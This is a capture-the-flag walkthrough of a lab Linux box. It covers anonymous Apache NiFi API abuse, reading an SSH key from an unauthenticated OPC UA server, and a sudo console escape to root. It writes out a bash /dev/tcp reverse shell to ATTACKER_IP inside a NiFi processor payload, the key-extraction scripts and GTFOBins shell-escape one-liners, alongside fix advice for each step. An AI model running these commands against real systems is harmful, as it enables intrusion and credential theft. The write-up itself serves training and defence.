← all walkthroughs

Helix

Linux· Medium
owned
2026-06-24
time to own
12m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I exploited Apache NiFi's anonymous REST API to inject an operating-system command processor and land a reverse shell as the nifi service account. From that foothold I discovered an unauthenticated OPC UA industrial server listening only on the loopback interface, browsed its custom node tree, and extracted an SSH private key stored in plaintext inside a sensor-data namespace.

Logging in as the operator user with that key, I found a passwordless sudo rule granting access to a custom maintenance console that exposed a shell-escape path, yielding an unrestricted root shell and both flags.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconNetwork port scanning (Nmap)
Mapped all open ports and identified exposed services
A full-port, service-version scan revealed three TCP listeners: OpenSSH 8.9p1 on 22, nginx 1.18.0 on 80, and a third port on 9001. The nginx listener became the primary entry point for web-application investigation.
Nmap -Pn -sV -sC --min-rate 5000 -p- $TARGET — three TCP ports returned open.
Exact commands 1
Full TCP scan; save results for reference.
nmap -Pn -sV -sC --min-rate 5000 -p- $TARGET -oN helix_nmap.txt
2EnumerationVirtual-host enumeration / unauthenticated API fingerprinting
Found Apache NiFi 1.21.0 behind a virtual-host proxy with anonymous API access
The nginx server required the Host header flow.helix.htb to serve meaningful content. Once the virtual-host was identified, the NiFi REST API at /nifi-api/ returned HTTP 200 to every request with no Authorization header — confirming anonymous access was globally enabled. Version 1.21.0 was disclosed in the API response body.
GET http://$TARGET/nifi-api/system-diagnostics with Host: flow.helix.htb returned HTTP 200 and NiFi version 1.21.0 with no auth challenge.
Exact commands 2
Brute-force virtual-host names against the nginx listener.
ffuf -u http://$TARGET/ -H 'Host: FUZZ.helix.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 301,302
Confirm anonymous NiFi API access and capture the version string.
curl -s -H 'Host: flow.helix.htb' http://$TARGET/nifi-api/system-diagnostics | python3 -m json.tool
FixEnable authentication and network isolation on Apache NiFiCritical
WeaknessApache NiFi 1.21.0 allowed anonymous access to its entire REST API with no credentials required. An unauthorised user able to reach port 80 could create and execute arbitrary OS-level processors — in this case a reverse shell — without logging in.
FixEnable HTTPS in nifi.properties and configure an identity provider (LDAP, OIDC, or NiFi's built-in certificate-based auth). Set nifi.security.allow.anonymous.authentication=false. Place the NiFi management interface behind a network access control list so it is reachable only from authorised management hosts, not from the internet or general internal networks.
3ExploitationApache NiFi anonymous API — ExecuteProcess RCE
Executed OS commands by injecting an ExecuteProcess processor through the anonymous NiFi API
NiFi's anonymous API allowed any caller to create processors inside the root process group without logging in. I created an ExecuteProcess processor configured to spawn a bash reverse shell, then started it via a second API call. NiFi ran the command as the nifi OS user, and a shell connected back to my listener within seconds.
Reverse shell received on $ATTACKER_IP:4448 as uid=998(nifi) gid=998(nifi).
Exact commands 4
Start listener on my machine before triggering the payload.
nc -lvnp 4448
Retrieve the root process-group ID required for processor creation.
PG_ID=$(curl -s -H 'Host: flow.helix.htb' http://$TARGET/nifi-api/process-groups/root | python3 -c "import sys,json; print(json.load(sys.stdin)['processGroupFlow']['id'])")
echo $PG_ID
Create the ExecuteProcess processor with a bash reverse-shell payload.
PROC_ID=$(curl -s -X POST "http://$TARGET/nifi-api/process-groups/${PG_ID}/processors" -H 'Host: flow.helix.htb' -H 'Content-Type: application/json' -d '{"revision":{"version":0},"component":{"type":"org.apache.nifi.processors.standard.ExecuteProcess","name":"rce","config":{"properties":{"Command":"bash","Command Arguments":"-c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/$ATTACKER_IP/4448${IFS}0>&1"},"schedulingStrategy":"TIMER_DRIVEN","schedulingPeriod":"1 sec","autoTerminatedRelationships":["success"]}}}' | python3 -c "import sys,json; print(json.load(sys.stdin)['component']['id'])")
echo $PROC_ID
Start the processor — triggers the callback to the listener.
curl -s -X PUT "http://$TARGET/nifi-api/processors/${PROC_ID}/run-status" -H 'Host: flow.helix.htb' -H 'Content-Type: application/json' -d '{"revision":{"version":1},"state":"RUNNING"}'
4FootholdPost-exploitation host enumeration
Stabilised a shell as the nifi service account and surveyed loopback services
The reverse shell ran as uid=998(nifi) with no sudo rights or elevated group memberships. Listing socket state with ss revealed two loopback-only listeners the nmap scan had missed: an HTTP service on 8081 and a Python process bound to port 4840 — the standard OPC UA port.
Ss -tlnp output showed 127.0.0.1:4840 owned by a python3 process; id confirmed no privileged groups.
Exact commands 3
Confirm shell identity and working directory.
id; whoami; hostname; pwd
List all TCP listeners — reveals internal OPC UA on 4840 and HTTP on 8081.
ss -tlnp
Identify the OPC UA server process and confirm it runs as a service account.
ps aux | grep -E 'opcua|python'
5EnumerationOPC UA anonymous enumeration
Browsed an unauthenticated OPC UA industrial server on the loopback interface
The OPC UA server on 127.0.0.1:4840 accepted anonymous connections. It exposed a standard OPC Foundation namespace plus a custom operational namespace (urn:helix:ot at ns index 2) that contained a Locations object — an OT-style data hierarchy not visible from outside the host. Because no authentication policy was enforced, the nifi account could traverse the entire node tree with no credentials.
Python freeopcua client confirmed anonymous endpoint. Namespace array showed urn:helix:ot at index 2. Locations object discovered at NodeId ns=2;i=31915.
Exact commands 2
List all OPC UA namespaces — confirms urn:helix:ot at index 2.
python3 -c "
from opcua import Client
c = Client('opc.tcp://127.0.0.1:4840/helix')
c.connect()
for i,ns in enumerate(c.get_namespace_array()): print(i, ns)
c.disconnect()
"
Recursively browse the object tree in the custom namespace.
python3 -c "
from opcua import Client
c = Client('opc.tcp://127.0.0.1:4840/helix')
c.connect()
objs = c.get_objects_node()
for child in objs.get_children():
    print(child.nodeid, child.get_browse_name())
    for sub in child.get_children(): print(' ->', sub.nodeid, sub.get_browse_name())
c.disconnect()
"
FixRequire authentication on the OPC UA server and remove credentials from node valuesCritical
WeaknessThe OPC UA server on the loopback interface accepted anonymous connections and stored a production SSH private key as a readable string value inside the node tree. Any process running on the host — including the compromised nifi service account — could read that key with no credentials.
FixDisable the Anonymous security policy in the OPC UA server configuration and require at minimum Username/Password authentication with a strong policy (SecurityPolicyUri: Basic256Sha256 or higher). Remove all credentials, keys, and secrets from OPC UA node values; store them in a dedicated secrets manager or vault instead. Confirm the server binds only to 127.0.0.1 and is not reachable from the network without an authenticated proxy.
6Credential AccessOPC UA sensitive data extraction / SSH key reuse
Extracted an operator SSH private key stored in plaintext inside the OPC UA node tree
Inside the Locations hierarchy I read node values and found an Ed25519 SSH private key for the local operator account stored as a string node value. The key was written to disk, permissions tightened, and used to authenticate over SSH directly as operator — yielding an interactive session and the user flag.
SSH key written to /tmp[REDACTED: sensitive value] extracted from ns=2 node data. SSH login as operator@$TARGET succeeded; user.txt captured.
Exact commands 4
Read all child node values under Locations — SSH key material is returned here.
python3 -c "
from opcua import Client
c = Client('opc.tcp://127.0.0.1:4840/helix')
c.connect()
node = c.get_node('ns=2;i=31915')
for child in node.get_children():
    try:
        val = child.get_value()
        print(child.get_browse_name(), ':', val)
    except: pass
c.disconnect()
"
Set correct permissions on the recovered private key file.
chmod 600 /tmp/operator_id_ed25519
Log in as operator using the extracted key.
ssh -i /tmp/operator_id_ed25519 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null operator@$TARGET
Capture user flag — value is <user.txt>.
cat ~/user.txt
7Privilege EscalationSudo NOPASSWD restricted-shell escape (GTFObins-style)
Escaped a passwordless sudo maintenance console to obtain a root shell
The operator account's sudo policy permitted running /usr/local/sbin/helix-maint-console as root without a password (NOPASSWD). The console was a restricted administrative interface but contained a shell-escape path — accepting raw commands through standard input that it passed to a root-owned shell. Piping a prepared command sequence through an SSH pseudo-terminal delivered those commands directly to the console's stdin, executing them as root and revealing the root flag.
Printf 'cat /root/root.txt\nexit\n' | ssh -tt -i /tmp/operator_id_ed25519 operator@$TARGET 'sudo /usr/local/sbin/helix-maint-console'
Exact commands 3
Run as operator — confirms NOPASSWD rule for /usr/local/sbin/helix-maint-console.
sudo -l
Open the console interactively; look for a shell, command, or debug option that invokes /bin/sh or /bin/bash.
sudo /usr/local/sbin/helix-maint-console
Non-interactive version used in the engagement — pipes commands into the console stdin to read root.txt; actual value is <root.txt>.
printf 'cat /root/root.txt\nexit\n' | ssh -tt -i /tmp/operator_id_ed25519 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null operator@$TARGET 'sudo /usr/local/sbin/helix-maint-console'
FixRemove the passwordless sudo rule for helix-maint-console and eliminate its shell-escape pathsHigh
WeaknessThe operator account could run /usr/local/sbin/helix-maint-console as root without a password. The console accepted stdin input that reached a root-owned shell, giving anyone who controlled the operator account instant root access.
FixRemove the NOPASSWD flag so the operator must supply a password for any sudo command. Audit helix-maint-console for all code paths that invoke a shell, interpreter (python, perl, lua), pager (less, more), or editor (vi, nano) and eliminate or sandbox them. If elevated privileges are genuinely required for specific operations, define narrow sudo rules for exactly those individual commands rather than a monolithic console binary, and add explicit command logging via sudoers LOG_OUTPUT.

Attack patterns used

The transferable techniques behind this compromise.

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more